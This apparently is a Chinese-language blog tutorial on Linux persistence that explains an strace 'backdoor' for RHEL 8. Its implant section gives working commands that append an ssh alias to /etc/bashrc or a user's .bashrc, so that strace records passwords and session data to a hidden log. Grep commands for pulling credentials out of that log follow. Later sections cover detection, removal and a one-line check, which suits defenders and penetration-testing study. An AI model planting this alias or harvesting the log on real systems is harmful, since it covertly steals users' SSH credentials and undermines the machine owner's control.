Linux权限维持(四):服务与网络后门——strace后门

strace 后门(RHEL 8 复现版)

一、原理简述

/etc/bashrc系统的全局 Bash 配置文件,影响着这台机器上所有用户的 Bash 环境。通过修改 .bashrc/etc/bashrc,给 ssh 命令设置一个别名。当用户执行 ssh 时,实际执行的是 strace 命令,用于跟踪 SSH 进程的系统调用,从而记录用户输入的用户名、密码、甚至 SSH 会话内容

一句话原理:偷梁换柱,用户以为自己敲的是 ssh,实际敲的是 strace,密码被记下来了。注:只有用linux登录ssh才会被记录。


二、植入命令

方法1:修改全局 bashrc(影响所有用户)

echo 'alias ssh="strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh"' >> /etc/bashrc 

source /etc/bashrc

方法2:修改单个用户的 bashrc

echo 'alias ssh="strace -o /home/用户名/.ssh.log -e read,write,connect -s 2048 ssh"' >> /home/用户名/.bashrc 

source /home/用户名/.bashrc

三、效果

当用户执行 ssh root@192.168.1.100 时:

用户以为 实际发生
正常 SSH 登录 strace 先运行,跟踪 SSH 进程的所有 readwriteconnect 系统调用
输入密码 密码被记录到 /tmp/.ssh.log 文件中

攻击者事后可以查看日志文件,提取用户名和密码。


四、查看记录到的密码

# 查看 strace 日志 
cat /tmp/.ssh.log 

# 搜索密码相关字符串 
grep -E "password|Password|passwd" /tmp/.ssh.log


 # 查看 SSH 连接的目标
 grep "connect" /tmp/.ssh.log

五、原理详解

 
 
参数 作用
strace Linux 系统调用跟踪工具
-o /tmp/.ssh.log 将跟踪结果输出到指定文件
-e read,write,connect 只跟踪 read、write、connect 这三个系统调用
-s 2048 显示的字符串最大长度(2048 字节,足够捕获密码)
ssh 原始命令,被 alias 包裹后,strace 会执行真正的 ssh

数据流向

用户输入 ssh root@IP
       │
       ▼
alias 展开 → strace -o /tmp/.ssh.log ... ssh root@IP
       │
       ├──→ strace 开始记录
       │         │
       │         ▼
       │    记录用户输入(包括密码)
       │         │
       │         ▼
       │    写入 /tmp/.ssh.log
       │
       └──→ 调用真正的 ssh 程序
                 │
                 ▼
            正常建立 SSH 连接

六、排查方法

1. 检查 alias 别名

# 查看当前用户的 alias
alias 

# 查看所有用户的 alias(需要 root) 
grep -r "alias ssh" /etc/bashrc /etc/profile /home/*/.bashrc /root/.bashrc 2>/dev/null

2. 检查 strace 日志文件

# 查找 strace 日志 
find /tmp /home -name "*.log" 2>/dev/null | xargs grep -l "strace\|read.*write" 2>/dev/null 

# 查看是否有 strace 进程在运行 
ps aux | grep strace

3. 检查命令路径

# 查看 ssh 命令的实际路径 
which ssh
# 正常应输出:/usr/bin/ssh 
# 如果输出 alias 相关,说明被改过

七、清除方法

# 1. 编辑配置文件,删除 alias 行 
vi /etc/bashrc 
# 或 
vi ~/.bashrc 

# 找到类似下面这一行,删除
# alias ssh="strace -o /tmp/.ssh.log ... ssh" 

# 2. 重新加载配置 
source /etc/bashrc # 或 source ~/.bashrc 

# 3. 删除日志文件 
rm -f /tmp/.ssh.log rm -f /home/*/.ssh.log 

# 4. 验证 alias 已清除 
alias | grep ssh 
# 应无输出

八、与其他后门的对比

对比项 strace 后门 SSH Wrapper 后门
目的 窃取密码 直接获得 Shell
是否替换文件 ❌ 不替换 ✅ 替换 sshd
触发方式 用户正常使用 ssh 攻击者特定源端口
隐蔽性 较低(alias 可见) 较高(文件被替换)
持久化 重启后仍在 重启后仍在

九、快速检测命令

# 一条命令检测 strace 后门 
alias 2>/dev/null | grep -q "strace.*ssh" && echo "⚠ strace 后门 detected!" || echo "✓ 未发现 alias 后门"

 

 
 
 
© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容